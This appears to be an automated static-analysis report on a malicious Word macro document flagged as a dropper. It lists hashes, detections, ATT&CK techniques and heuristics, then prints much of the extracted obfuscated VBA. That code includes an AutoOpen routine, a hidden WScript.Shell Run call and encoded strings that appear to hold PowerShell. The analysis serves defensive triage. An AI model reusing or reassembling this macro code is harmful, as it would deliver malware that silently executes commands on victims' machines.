Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89ebd322101f4aac…

MALICIOUS

Office (OLE)

133.0 KB Created: 2018-03-12 10:37:00 Authoring application: Microsoft Office Word First seen: 2018-04-30
MD5: 90f3dc07daa0eb04f3e3a6faa8597ac8 SHA-1: daf531d3422a2567edc7ccee5241def5343d6664 SHA-256: 89ebd322101f4aac55faeb5b0ff0bc1fc9cde77b6004edfd953f813b87c3e9e1
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macro attempts to execute commands. The AutoOpen macro is present, which is commonly used to trigger malicious actions upon document opening. The ClamAV detection as 'Doc.Dropper.Agent' further supports its role as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6470906-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6470906-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    iavBEcLBv = OwDGcq * poGIT / CshiI - Round(5780858 * CSng(3403498 * CInt(kikC)) + BVGkw - Round(BsOW)) - 544 / MzSoS + WAOBtJ / Rnd(zDXdd) * (5589690 / CDbl(2604987) + (DDpKj / CByte(758026 / CDbl(2009157) - 1477945 / 3480946)))
    CreateObject("WScript.Shell").Run nVDSILdwlLk + TaviZwjWtTYM + XHLkntdXOlIL + wdijvM, vbHide
    swTFnSfuM = hrBh * fhwz / RiuS - Round(534972 * CSng(2490717 * CInt(JMiwMq)) + rrDBXR - Round(wQWh)) - 544 / HdsQvf + fuOBBC / Rnd(aViiB) * (3972915 / CDbl(202022) + (qYcf / CByte(5134770 / CDbl(6442944) - 1404765 / 3627454)))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    iavBEcLBv = OwDGcq * poGIT / CshiI - Round(5780858 * CSng(3403498 * CInt(kikC)) + BVGkw - Round(BsOW)) - 544 / MzSoS + WAOBtJ / Rnd(zDXdd) * (5589690 / CDbl(2604987) + (DDpKj / CByte(758026 / CDbl(2009157) - 1477945 / 3480946)))
    CreateObject("WScript.Shell").Run nVDSILdwlLk + TaviZwjWtTYM + XHLkntdXOlIL + wdijvM, vbHide
    swTFnSfuM = hrBh * fhwz / RiuS - Round(534972 * CSng(2490717 * CInt(JMiwMq)) + rrDBXR - Round(wQWh)) - 544 / HdsQvf + fuOBBC / Rnd(aViiB) * (3972915 / CDbl(202022) + (qYcf / CByte(5134770 / CDbl(6442944) - 1404765 / 3627454)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "tjoBOjhrc"
    Sub AutoOpen()
    On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31472 bytes
SHA-256: 98aa2b42745292116eeeeec67b16dab7da9518a5c3c40ec7afba60bd26677af8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
507 of 783 identifiers look randomly generated (e.g. 'GBOYh7Pn$xAwNAkDAhBgZAcDAlBwMAgDA3AQMAgD') — consistent with name-mangling obfuscation. Carved artifact contains 19 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tjoBOjhrc"
Sub AutoOpen()
On Error Resume Next
zzXwOoiRY = WUhzIj * BaFlH / Cjwd - Round(181658 * CSng(3405299 * CInt(DKhAp)) + jtQipp - Round(kLvL)) - 544 / jUthHm + pjUPRK / Rnd(AFnMm) * (6204295 / CDbl(1577237) + (zalr / CByte(3168612 / CDbl(9174375) - 745138 / 6209888)))
rlkrUzYWC = JzOMdw * Ipwww / fdTU - Round(3658780 * CSng(9308259 * CInt(VvlA)) + ihTMD - Round(RJqWI)) - 544 / nzmUIG + jtcE / Rnd(BcFZ) * (7552654 / CDbl(5031984) + (NOjz / CByte(3303287 / CDbl(824730) - 9100971 / 7379676)))
RipRJVUhV = vNpj * jBcF / aasW - Round(3214042 * CSng(1565391 * CInt(jDwVPN)) + oEDLv - Round(jvkPrN)) - 544 / hzAzo + jLqmTA / Rnd(aldX) * (7735651 / CDbl(6037254) + (VrLf / CByte(8115029 / CDbl(6317670) - 2444953 / 6005238)))
fqciDiNlC = jRdI * RkKuSv / MbMME - Round(8114099 * CSng(7313966 * CInt(HHmEj)) + KpzSNz - Round(WHOWN)) - 544 / uufmuk + iARq / Rnd(WzhtZ) * (5950717 / CDbl(4747540) + (wHvNc / CByte(981350 / CDbl(9219844) - 8274440 / 7998899)))
Application.Run "AmHcZQXpdhAwN", LzbzwwhjiI
UwqqwrabV = UTVKXG * qztdij / lunzSJ - Round(7934235 * CSng(7714322 * CInt(ofTAn)) + HHRDn - Round(IdwY)) - 544 / pOwz + mOsF / Rnd(EaJL) * (490210 / CDbl(6236029) + (jiDFzQ / CByte(8355151 / CDbl(7208264) - 2326233 / 5941438)))
wtdRqbLUa = YctEIi * DjIrk / LwSUA - Round(8088186 * CSng(9713669 * CInt(MzHS)) + bkOzzr - Round(oYDkz)) - 544 / QsoEDn + WSUY / Rnd(Kibm) * (2283254 / CDbl(5586029) + (lKGnoh / CByte(2123448 / CDbl(9972963) - 1643470 / 6701114)))
mthVDZGQH = THcJQq * mNACMa / NnJEzX - Round(8572739 * CSng(7604340 * CInt(nfbq)) + HEVVEj - Round(iizXw)) - 544 / YmIjaS + IPPBRk / Rnd(jDoi) * (7927168 / CDbl(9897152) + (iIij / CByte(1654339 / CDbl(8787849) - 5943369 / 6584753)))
FMhBjUBuG = IHds * TETdma / Sizjtd - Round(5781184 * CSng(9936341 * CInt(ZEZKC)) + PBjfJ - Round(Zjsim)) - 544 / KcpQs + MtzC / Rnd(aXQH) * (7620409 / CDbl(6762300) + (Dimz / CByte(7830270 / CDbl(3490075) - 8802920 / 1463460)))
End Sub
Function LzbzwwhjiI()
On Error Resume Next
zPOVOLBsshi.iFjZOChLjqQsTVzCAVDpzEXo
RKOtOjSDR = fshu3bbnabn3("CU8jUw8rYKGFAIDAjBwNAUGAxAAOAUDA0AAZAQGAwAAMAkDAlBQOAADAlvY6oibS@CBiE6n@j(tu4", 21, 45)
zPOVOLBsshi.iFjZOChLjqQsTVzCAVDpzEXo
WoWkkiNzn.YwiRrwAVlDOOfPX
DQqXG = fshu3bbnabn3("Oi2Rz_ti(z3oHDG7p$IrtsErucES::]lAhsRAM.sECiVREsPoreTni.emITNur[ (ekOvnI.)eMan.]4[)(srebmeMtEg.]LahSram.SeCiVresPOrEtNI.EMiTnUr[(::]LAhsram.SEcIVRESpoRETNi.EMItNUr[ ( oJ!AdJv(vQ0RD(w4!V", 19, 148)
WoWkkiNzn.YwiRrwAVlDOOfPX
WTRjqBzff.tcJvhUcphIsaqrKDE
IwDCwEq = fshu3bbnabn3("6daowGr@_gZAEGAjBQMAcDAyAQOAUGAyAAOAMGAyAAOAgDAyAAMAIDAwAwYAIGAmBQNAIGA5AAZAkDAkBQOAMGA2AwMAQGA0AgMAgDAmBwYAADA2AgYAMDA1AgZAIGA2AQYAkDAxAQMAgDAyAgMAEDA3AgYAMGAlBQMAYGAyAQ!OSk", 5, 161)
WTRjqBzff.tcJvhUcphIsaqrKDE
aYaDTlZjOlI.rwjVTuEdZVJH
qjNSB = fshu3bbnabn3("_0kBgMAEDAzAAMAMDA2AQ)n0SSV8(UrQ)", 13, 19)
aYaDTlZjOlI.rwjVTuEdZVJH
RFMXiVvYUdk.QbVKbSfOFGJJGEmqcDM
RRaFGz = fshu3bbnabn3("0voa.bpAjDh80b4DK_DkHoLL6(i)@7", 22, 2)
RFMXiVvYUdk.QbVKbSfOFGJJGEmqcDM
iWpshGnCpFjR.oiwLUXHmFpAmhWvhIXzaQGHaKm
XDzWuaZU = fshu3bbnabn3("4YG$EK4MAcDAyAQMAgDAwAAOAcDAzAAZAYGAkBgZAIGAiBgZAQGAwAgMAUDAhBANAIGfUAf(lJYEUa", 12, 60)
iWpshGnCpFjR.oiwLUXHmFpAmhWvhIXzaQGHaKm
visaBuWlIR.JnWJidOoHvRiqWfNRKcWh
SJTnCku = fshu3bbnabn3("4Okpv$7<ibU$SvdMvmUUMAIGAwAwNAIDA2AgMAgDAyAgMAUGAjBwNA_Db", 4, 34)
visaBuWlIR.JnWJidOoHvRiqWfNRKcWh
HRLKHFUUnfn.VSavpztSpPGMPDnbaOjzn
XzCRkOGE = fshu3bbnabn3("bJ8GSDFkTdwwN!3u(mvdz)i60mQG8wAj!HvGvm.!K", 29, 2)
HRLKHFUUnfn.VSavpztSpPGMPDnbaOjzn
iqAnpwEfzzi.ozoYYwlNskHIpUZYrOpqqlpV
HBpbisQL = fshu3bbnabn3("joHOGaG0T6GA1AgMAUGAxAAZAYDAhBwYAUDAyAQNAEDA5AwMAEDA4AAOAcDAl$$(4", 5, 51)
iqAnpwEfzzi.ozoYYwlNskHIpUZYrOpqqlpV
QRbnIbIcGW.vUknapCYhKvVYNCSkH
WwSPCqTwvYw = fshu3bbnabn3("iO4KA3aj,012,261,16,042,601D!QS<vqoob o3mT@v6_HC$", 23, 19)
QRbnIbIcGW.vUknapCYhKvVYNCSkH
ilziujVSj.fUBoKNPSJcjBVtoGpjsdjU
SFOXKfKsp = fshu3bbnabn3("MQ08NAADA1AAZAQGAmBAOAQDAhBANAUGAiBwYAkDA2AQNAEGAhBgNAUGAyAwMAUGA3AQOAUDAxAgYAgDAyAAMAIGAwAQZAEGAjBwYAQGAlBQZAEGAyAQOAQDAyAQYAQGAxAQMAQDAlBwMAADAkBQOAQDAjBQOAQDA1AAMAMDA2AQMAYGAyAQvH(vH0Vv3ubvJVd0 o<pKUkuRUF", 28, 176)
ilziujVSj.fUBoKNPSJcjBVtoGpjsdjU
ssFVkIEK.MtVUhojfzbRU
wGorUWwq = fshu3bbnabn3("aCojOvYJooDYPDh87aSGAiBgMAUDA4AgMAIDAhBgMAYDAhBANAIDA5AwMAYGAjBQMAMGA3AQZAIGAyAwYAwHVSh.", 5, 65)
ssFVkIEK.MtVUhojfzbRU
NEtMnpiltML.GCrjOCtldBlwltAkfuHwIqdZjQw
GKzKm = fshu3bbnabn3("GBOYh7Pn$xAwNAkDAhBgZAcDAlBwMAgDA3AQMAgDAyAgNAYGAzAQNAQGAjBgMAUGAkBgYAcDA3AwYAEGAyAQNAgDAkBAOAYGA3AQNAEGA2AwMAYGAlBwNAYGAiBgYAgDA5AAOAcDA0AgYAMDAlBgZAUGAkF", 3, 144)
NEtMnpiltML.GCrjOCtldBlwltAkfuHwIqdZjQw
kOddVvBFYju.nRSVGCzmdijjpdcYHMiUnMCFZ
iCwwOsRWaBO = fshu3bbnabn3("HV2J7ifnlObpZAIDA1AgNAEGAyAgZAEGAzAAMAADA0_4bC", 6, 29)
kOddVvBFYju.nRSVGCzmdijjpdcYHMiUnMCFZ
zshjwlihLP.KClKNuRRWSXNbSlXJUwfQQ
GcJBd = fshu3bbnabn3("73GopWmU63AEDAxAAZAQGAzAQOAIDAwAgZAgDAjBAZAQGAkBAMAYGAwAgMAQGAkBAMAkDAlBQZAIDAiBwMAYGAkBAZAkDAmBgNAQDAlBgMAQGAmBwNAYGAhBQOAYDAkBQNAQGAjBQMAADAhBQOAEDA2AgYAcDAyAgMAMDAyAQMAEDA2Aw(0JU_DlCb3EarY6", 16, 167)
zshjwlihLP.KClKNuRRWSXNbSlXJUwfQQ
lmvzjSzFh.HwBLwRLJVwZWLnZubW
iDHPXBCdiEV = fshu3bbnabn3("YJV$TQ(a5v80Jwv$S_Glr@$Q375OBdDA0AAZC", 2, 6)
lmvzjSzFh.HwBLwRLJVwZWLnZubW
cLDNWTiMMzR.ECRoITEKbXPwbCjbwKdkOLaVHi
YwhYclkOlf = fshu3bbnabn3("DY< AQDA2AgZAEDAiBwMAgDAyAQZAYDA0AwYAkDAwAQNAUGA2AgYAIGAlBwYAADAwAQZAYDAwAgYAQDAzAgN0O0SJpqH_VwoV0pvi", 18, 80)
cLDNWTiMMzR.ECRoITEKbXPwbCjbwKdkOLaVHi
rVmzjakzw.BDDPqamsQNdaf
GQzRBu = fshu3bbnabn3("8!B5CqS6qQGA4AgMAMGAwAgNAIGAhBQYAEDA3AQMAcDAzAgMAcDAxAwYAcDAwAQMAUDAmBwYAADA1AwNAQGA0AAZAMGA1AQOAgDAlBgNAEGA5AQNAYGA1AQNAna$iYkdiVQlv0$5UGo@(rJ!Dk3", 27, 112)
rVmzjakzw.BDDPqamsQNdaf
iZwQWpWPNl.OitiBBREnnvMlKArqrZX
iNukuHPI = fshu3bbnabn3("i.km6w_wjaA<7P6jb$BfO!irbZAgDA0AAMAYGAkBQMAIDAlBgZAIGA1AQYAYDAzAAOAYGAjBQZAMGAyAgMAcDA3AwNAUGA4AwYAUDA1AwYAYGAkpwo!kGjbY", 10, 86)
iZwQWpWPNl.OitiBBREnnvMlKArqrZX
cQlrsotSVi.RjhTLiNclMjvEEMLGRXuMkz
HsTwCfB = fshu3bbnabn3("oGKpBFO8E8AAMAUGAxAQMAQDAjBgMAADAhBAMAMGAxAQMAQDAmBgYAEGA3AQMAEDA4AAZAgDA1AwMAADAiBQZAADAjBgMAQDAjBwYAADA2AQYAMDAxAQZAUGAyAgYAIGA1AwYAUDAwAQOAEDA1AVYV(dY", 7, 137)
cQlrsotSVi.RjhTLiNclMjvEEMLGRXuMkz
GDthpwziAfC.TTMSaHqORwbFuBZMq
qJmwAMR = fshu3bbnabn3("5UE6wH(GokvoAkBQYAMDA5AQOAQGA2AAO<oLGDpQiUJrk3wo7U3@B", 21, 21)
GDthpwziAfC.TTMSaHqORwbFuBZMq
lDznKjEsW.bhoZiiPwpoSGuGDmbum
vslNwiZi = fshu3bbnabn3("SJEBDQ4YD)BQlBAOAkDA4AQOAYGAlBANAEDAiBQYAIGAyAANAEDAxAgNAQDA0AAOAUDAjBwMAADAwAQMAIGAmBQNA3OFOhr.K_raO2wGFDvGYB", 22, 77)
lDznKjEsW.bhoZiiPwpoSGuGDmbum
VatJaIzhiZ.vVVlkOIBPToDLiHhZqnwiku
ZHhPJ = fshu3bbnabn3("Sjr(KLBgMAcDA4AgNAYDA3AgNAEGAlBwYAcDAjBwNAEDAkBgZAUGAzAQZAADA3AgMAUGA1AwNAIGA4AgNAgDAiBQMAIGAwAwMAIGAlBQMAcDAwAQOAYDAjBgYAY6KbbKJ$LD_$CY$rrO", 18, 117)
VatJaIzhiZ.vVVlkOIBPToDLiHhZqnwiku
kstCqnUWR.inRBraWjEYnIanMGWPjmh
LIcAzQA = fshu3bbnabn3("Cl8USt0NAQDA1AQNAgDAlBwNAQDAzAwYAgDA5AwNAMGA3AQOAEDA1AAZAQDAlBgMAMGAkBgNAYDA4AQNAYGA0AQOAIDA2AwNAIGA5AgNAQDA0AgNAADAyAAMAEwu Qn(r$4Dij", 13, 115)
kstCqnUWR.inRBraWjEYnIanMGWPjmh
VKXHlPzaSaP.MHAowZTMbNrzLOnkQ
jcMwi = fshu3bbnabn3("BdvO3Hj7rCJE8_jGAkBQNAYDAzAwMAIGAxAgZAcDAzAQMAQGA4AwNAEDAirBobDk3JBE6", 13, 42)
VKXHlPzaSaP.MHAowZTMbNrzLOnkQ
wCNXBzLHrt.VzSjRBZkoIpvvBf
jziUKs = fshu3bbnabn3("DrO0nJMD8_qpA0AQNAADAkBgMAcDAiBwNAIGAiBAZAADA0AQYAYDAiBQOAIGAwAAZAYGAhBQOAIGAjBQMAYGA0AQMAMGAmBQYAgDAzAgMAMGAhBQMAADAwAAOAIGAzAwNAcDAxAQNAADA4AQOAQGA2AwMAcDA2AwYAIDAmBQYAkDAyAQNAEGAU$$j($dlO$qUDBjw", 17, 169)
wCNXBzLHrt.VzSjRBZkoIpvvBf
cAkwTnziwi.rJbGjnZfRMKLUjrzBvRJaoGfV
LWVDaiSF = fshu3bbnabn3("YvBuANAMDAjBgNAgDAyAQYAkDAiBwMAcDmDUjArvB2U$kmj8j0)zQ.", 22, 29)
cAkwTnziwi.rJbGjnZfRMKLUjrzBvRJaoGfV
EtqCwOFH.zNfDzvvqHUKPu
mJHqOHtz = fshu3bbnabn3(" oo.aKjfDDrDAiBQMAEDAxAwNAQGAhBAZAADAwAgMAEGAjBAOAQDAlBgDRhYFq@A", 9, 45)
EtqCwOFH.zNfDzvvqHUKPu
ASMAwazk.zomqnucDNHMfi
HdDFSYHOlW = fshu3bbnabn3("6KAf74GmbU3H.iQiq_cDAmBQMAYGAiBQNAIGA4AQYAIGA0AAOAEGA5AgMAIGAxAQYAIGA3AAMAADA0AQOAEDA1AwNAMGA4AwMAIDA2AgYAQGA2AQZAEGAwAAZAkDAlBQMAADA1AwNAEGA4AAOAMDA5AwNAUGAlBQOAMGAyAgMAIGAzAQMAkDAyAwYAMDA1AQYAUDAxAwYAMDA5AgvGVV", 5, 190)
ASMAwazk.zomqnucDNHMfi
YiDaAUaLi.vlPkAQrIaWFkizCznEUDaCLuc
pcUrjhJwIDZ = fshu3bbnabn3("uSFY4$ODvi@YSwAANAADA4AQMAgDA5AgMAEDA3AwMAUGAiBgMAIDAyAAZAkDA0AQZAMGA2AwMAYGAxAQ$or$iQU", 8, 67)
YiDaAUaLi.vlPkAQrIaWFkizCznEUDaCLuc
dBRZcGBXQhX.GBvKhjaiimqq
iijMjWJCRT = fshu3bbnabn3("@BULWF47YGUid@KYwOaK$z@uTuKJjWCuMAYGA0AQMAYDAyAQMAEDA3AwYAMDAlBgZAEDAlBwNAADAiBQNAIGAjBQOAUDA5AgNAQGAwAgNAADAwAAOAIGA2AQMAYGAyAgYAADAhBAZAQDA1AQNAIGAhBAMAUDA2AgZz6(", 4, 129)
dBRZcGBXQhX.GBvKhjaiimqq
pEdsTRAWp.XwzWssZjSlLizbfaLRzjsL
uofHZGr = fshu3bbnabn3("B wYAcDA4AAOAQDA2AgMAEGAlBAZAYDA2AQOAUDAmBAMAYGA3AQNAgDA0AQMAYGA3AQYAUGAyAQZAUDAiBAZAEGA2AQNAMGA3AgZAEGAkBwNAYDA1AwMAcDAzAAOAQGA5AAZAcDAlBQNAEGAxAAOAUGAhBQNAIGAwAwYAgDAyAgZAUGAmBnAKYvvRoK$K$Q8rQF3imrwoJr", 26, 176)
pEdsTRAWp.XwzWssZjSlLizbfaLRzjsL
uDQzTkUZE.jfLpnKsskHJAtqlhvduk
UhDrXiwLTdU = fshu3bbnabn3("kQwwAADAwAAMAgDA2AgYAUDA3AQZAUDA1AQZAMGAkBwNAcDAwAQNAEDAjBgNAkDAzAQYAMDAzAQZAQDAlBQYAYDA3AgMAMDAlBgZAUGAwAQOAIGAmBQOAMDAjBQZAEDAwAwNAcDAkBgMAIDAwAgYAMGA1AAZAYDAjBgNAQDA3AQNAIDAjBgHdS3prQbJB5", 12, 175)
uDQzTkUZE.jfLpnKsskHJAtqlhvduk
EjzGbmiLVOWJ.wKcXaQVDlcPQCWzwNzMXclKAS
HfoUoJJj = fshu3bbnabn3("V4uv0dOloo8K8AUGA1AgNAYGAiBAMAYDA0AgYAUGA4AQOAADA5AgMAMGA5AgMAEGAiBQYAADA2AwMD4kHY3DUrLMDMa)ALDV", 20, 64)
EjzGbmiLVOWJ.wKcXaQVDlcPQCWzwNzMXclKAS
IjrFLJwjDYE.hNjLQEpoSiqLbYBbUnHDjhnhwBv
XSiIAU = fshu3bbnabn3("w7Uai7GOfR3hoSF3jhZAMGAwAQMAkDAiBwYAIDAlBgNAgDAyAAZAIDAhBwYAkDA5AAOAMDAjBwYAMDAyAAMAYGA4AwMAADAxA(fKH3wi0CH3@Y8)jlUJ0", 21, 79)
IjrFLJwjDYE.hNjLQEpoSiqLbYBbUnHDjhnhwBv
QzJuQWLCzTn.onHmwuVbjwwfivOCSmz
fJmwGisb = fshu3bbnabn3("u$D_u6olB.iBgZAUDAlBwYAgDAyAAZAMDAzAQYAMDAiBwYAgDAjBgw(P4 qwjEbu7UU", 15, 42)
QzJuQWLCzTn.onHmwuVbjwwfivOCSmz
aaiRiFmRh.KPkjWisFQFllG
hAKKDYshfj = fshu3bbnabn3("VUGYAUGAhBgMAYGAyAQYAEDAzAQYAIDAxAAMAM(7Y2SDjE(0QfB3B3QVH8jKQD7 $8", 29, 35)
aaiRiFmRh.KPkjWisFQFllG
XErXcobML.sWzOpcILczKGw
IVACUTN = fshu3bbnabn3("khA3V$GqV3q@$O$JbUwSAMGA0AQYAYGA4AQNAYDAmBgMAQDAzAQOAEDAiBQOAYDAmBANAEDAjBQNAQGAxAgZAQDA1AgZAkDA3AQZAUGAyAAMAkDA5AQMAQGAkBwNAADA5AAZAIGAzwm(UK", 6, 117)
XErXcobML.sWzOpcILczKGw
sQiTRYiP.EFcYnhCHlVZqQVfpk
uafLwqEf = fshu3bbnabn3("4b@rrav@SUE(KAr84plYAwYAUGAiBQZAEDAjBwYAYDAxAANAYDAwAgZAgDAHa4wdS$5f$U8$v0BG", 18, 39)
sQiTRYiP.EFcYnhCHlVZqQVfpk
ijWmwQGVEO.APjDRZABUwbzYXhXVNi
GqwTQ = fshu3bbnabn3("@woqmdBwYAUGAhBQOAEDAkBgMAQGAwAQNAUGAzAQOAkDAiBQYAEDA2AAZAMGAlBAZAQDA4AANAEGAwAwNAgDAyAAMAgDA0AQZAUGA0AAMAUGAwAQOAUGAkBwNAQGA0AvGnu3O", 7, 121)
ijWmwQGVEO.APjDRZABUwbzYXhXVNi
QjjNvbQKX.ziMuZYVOTqKfdiWXLtfdZQ
cjBBQ = fshu3bbnabn3("l7SCrOm@$5QMAMGAhBwNAIGA5AQYAkDA4AQOAIDAjBQYAcDA5AwMAUGA2AwNAkDAwr6ADV0G", 8, 55)
QjjNvbQKX.ziMuZYVOTqKfdiWXLtfdZQ
ChwrBXafk.kPSGjkvZGzdLjm
vpCjIw = fshu3bbnabn3("iUYww!Ki$BJvko04PMAkDA2AQYAADA3rD", 3, 14)
ChwrBXafk.kPSGjkvZGzdLjm
NJAGilEKOkf.APFXwMPLpdiGQn
uKKwZiikdch = fshu3bbnabn3("$KSVjfw4JUk,0,51,0,522,991,502,98,96,54,981,74,32,09,041,761,34,452,181,011,33,55 Ek-  GniRtsERucEs-OTTReVnoC| '==AAlBwMAQDAwAQMAkDAwAAMAYGA5AANAgr3DLA6d", 8, 135)
NJAGilEKOkf.APFXwMPLpdiGQn
wBzzKPakPH.vIoBhiiGQsPkiKDBwHIzKpwSvj
jEWIpYHG = fshu3bbnabn3("diaABtioGADA3AQMAYGAjBQOAMDAwAgYAIDA2AgZAcDAyAQZAADA3AgYAADAyAQMAYDAwAAOAMGAkBwYAcDA5AQMAAD$$BJHG H", 9, 82)
wBzzKPakPH.vIoBhiiGQsPkiKDBwHIzKpwSvj
UXQsVbXwY.QvwqKcQASPzkn
mOfwZrtudFE = fshu3bbnabn3("AYO($Q_od8uLDVRY6YYwk7KkBju$H0lBwMAkDA3AQMAIDAmBANAUGA3AQZAUDA2AwYAIGAyAAMAUDAzAQNAIDA3AAZAUGAwAQH$(", 4, 66)
UXQsVbXwY.QvwqKcQASPzkn
EolTizsPvj.vtUUvVPsTMSQBhA
nuPNKuY = fshu3bbnabn3("vQ3Kw6drjpxAwMAADAiBAZAQDAzAwNAUDAyAgYAkDAxAwNAMGAxAwNAYGA3AQZAIDA4AgZAUGAiBAMAUGA3AgYAUGAyAgMAYGAxAgYAQDAjBwMAADAmBgZAUDA2AgNAEDAiBQYAcDAmBBP!p0OBjQQnJELU", 16, 130)
EolTizsPvj.vtUUvVPsTMSQBhA
qBOlstzhwh.hPvYzMltXEPwBYfKBGzhINidY
AJcwRV = fshu3bbnabn3("EQiKkPa(0i7YATjw2qokDSVFM3vGG$YAYDAkBgNAEDAhBQOAADA1AgYAcDA0AgMAEGAhBwYAUGAlBAOAQDAmBAOAMD.V0LO0", 8, 59)
qBOlstzhwh.hPvYzMltXEPwBYfKBGzhINidY
ZrDFRVrwhz.fLsQDOqkWFninrrZblnRK
RbFBsoIv = fshu3bbnabn3("<j6$J$L5wmat_PBAZAQDA3AgMAMDAlBwJ.TQKOo<@!8S", 14, 16)
ZrDFRVrwhz.fLsQDOqkWFninrrZblnRK
AJcErijRYVIH.ErHJMiXcXrYwwwsCKoTCc
czUVzrRPb = fshu3bbnabn3("oBvpB8BVoiYrGAmBQOAMDA1AANAADA5AwYAUGA4AAOAUDAmBANAYGA4AQNAYDA3AQMAUGAiBgMAkDAmBwYAUGAwAQNAIGA2AgNAYDA5AQNAEGA4AAZAkDA2AwYAEDA0AQMAQDA4AQZAMDAzAQOAQGA2AQZjDlRd04D", 9, 142)
AJcErijRYVIH.ErHJMiXcXrYwwwsCKoTCc
XYCZUSwJ.wohJMCBWFjKGWvvDSrwoEdLmb
nUYAjrW = fshu3bbnabn3("4ovoOC3$HWAOHR4k8QNAIDAKClii0DOaDOHQ", 14, 6)
XYCZUSwJ.wohJMCBWFjKGWvvDSrwoEdLmb
JQajtAFKRKGd.iccOUcIsLYiPjPcvNYZSn
YJkjcBw = fshu3bbnabn3("oznk!LHYD4D(d0kwi7pwv!ZAkDA5AuGBq<E", 7, 7)
JQajtAFKRKGd.iccOUcIsLYiPjPcvNYZSn
jFkqiJGXMd.HKvRjuftJmPUkNHzMqaQjcVRzJ
wipai = fshu3bbnabn3("oa QqGUSuAvY)lQOB_8vr4k.w", 12, 1)
jFkqiJGXMd.HKvRjuftJmPUkNHzMqaQjcVRzJ
pUVruORwzTk.PfzZPbTBKNrKbGpwcMuMiwtMjPMjF
EYSkcRjZ = fshu3bbnabn3("DSCAhBQYAYGAyAgNAMGAjBQZAcDA2AgNAkDAwAANAkDA2AQZAIGAkBQM82r8F0j)", 9, 53)
pUVruORwzTk.PfzZPbTBKNrKbGpwcMuMiwtMjPMjF
iqjwswESRi.rzIzMwhDfSbzPsiKsEfhTRfIiCME
YXXPupVcU = fshu3bbnabn3("So3BUKYdDdBAMAEDAkBQYAUGAzAgMAUDAyAgZAEGAiBQMAYGA2AgYAEGAwAAOAEDAxAQMAEDAlBQYAMGA4AgZA8w8dG$8J0UQ@.jSCpMPbaQ", 23, 76)
iqjwswESRi.rzIzMwhDfSbzPsiKsEfhTRfIiCME
NqMzwWVJANUi.ADQVUYiKbVtpmIVKELGm
TkpJuOu = fshu3bbnabn3("@VigNAYDAiBQZAEDA5AgYAgDAwAQYAUGAmBANAMDAzAQYAYGAyAQOAgDA1AmK4m5ua", 8, 56)
NqMzwWVJANUi.ADQVUYiKbVtpmIVKELGm
DrEkrSROPZ.OozjHrEcapzDifELXpt
POzidK = fshu3bbnabn3("LUGAmBAOAkDA3AQYAQDAzAQOAIGAyAAZAMGA5AgYAADAlBAZAcDAzAgMAEDAiBwNAYGAhBQNAkDA5AANAcDAjBwMAMGA2AgNAADA2AgVnSB2DQ!BC", 11, 100)
DrEkrSROPZ.OozjHrEcapzDifELXpt
stjRPtWUQsP.NjioVuWmiUkcaMczWDSrWNdauh
tEWjE = fshu3bbnabn3("aPYqz8JhV33HAQGA1AwMAY_nDwvUm_vwn", 12, 10)
stjRPtWUQsP.NjioVuWmiUkcaMczWDSrWNdauh
BUiJSosNjGif.zpplCGsNSuaflPTFwCnYPzRndkcGi
wnoBktCZFX = fshu3bbnabn3("jYAwYPj.AEDAhBgNAQDA4AQYAADA4AgNAgDA4AwYAEGA3AANAUGAlBwMAIGAkBAMAgDA2AwMAUGA5AgZAIDAkBgMAcDAkBQOAgDAkBQZAgDAjBQYAIGAmBQNAUDAhBQNAEGA4AANAIGA1AQNAUGAwAgZAEDAkBgYAY$koHU", 6, 154)
BUiJSosNjGif.zpplCGsNSuaflPTFwCnYPzRndkcGi
duWCEIRUbB.vRVHrRsZOaRstoLOKaqQB
TjmiXA = fshu3bbnabn3(")AQvkSVWOnb0jM3MiTDA1AgZAgDAzAgMAIGAlBANAcDAwAQOAkDA5AgYAIDA0AAMAMDAhBQYAEGA3AQNAcDA3AwNAYDA4AQZAADA2AQYAYGAiBwYAEGA3AAZAYGA5AQOAMGAlBAOAgDA1AQZAQDA0AQYAYGAzAQMAgDA3AQMAADAyAQNAQDAlBgYAcDA3AANjtklD", 6, 174)
duWCEIRUbB.vRVHrRsZOaRstoLOKaqQB
HPcLszqLcNP.VOJujVAOCBAqkMaC
